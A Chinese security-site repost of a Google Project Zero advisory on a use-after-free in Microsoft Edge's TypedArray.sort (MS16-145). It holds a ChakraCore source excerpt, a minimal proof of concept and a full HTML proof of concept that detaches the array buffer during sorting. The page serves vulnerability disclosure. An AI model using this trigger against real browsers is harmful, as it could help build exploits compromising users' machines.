首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145)
来源:Google Security Research 作者:Google 发布时间:2017-02-15  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=983
 
There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:
 
 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));
 
            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }
 
            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }
 
            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }
 
The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.
 
A minimal PoC is as follows, and a full PoC is attached.
 
var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
 
 
function v(){
 
   postMessage("test", "http://127.0.0.1", [buf])
   return 7;
 
}
 
function compareNumbers(a, b) {
 
  return {valueOf : v};
}
 
numbers.sort(compareNumbers);
 
This PoC works on 64-bit systems only.
-->
 
<html>
<body>
<script>
 
var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;
 
 
function v(){
  alert("in v");
  if( first == 0){
       postMessage("test", "http://127.0.0.1", [buf])
    first++;
    }
   return 7;
 
}
 
function compareNumbers(a, b) {
  alert("in func");
 
  return {valueOf : v};
}
 
try{
    numbers.sort(compareNumbers);
}catch(e){
 
    alert(e.message);
 
}
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 3.10.0 (CentOS7)
·Piwik 2.14.0 / 2.16.0 / 2.17.1
·ShadeYouVPN Client 2.0.1.11 -
·RandoriSec
·Tor Browser 6.0.5 remote Denia
·OpenText Documentum D2 - Remot
·HP Smart Storage Administrator
·TI Online Examination System 2
·Apache OpenOffice Text Documen
·Advantech WebAccess 8.1 Post A
·Microsoft Office Word Maliciou
·WordPress 4.7 / 4.7.1 REST API
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved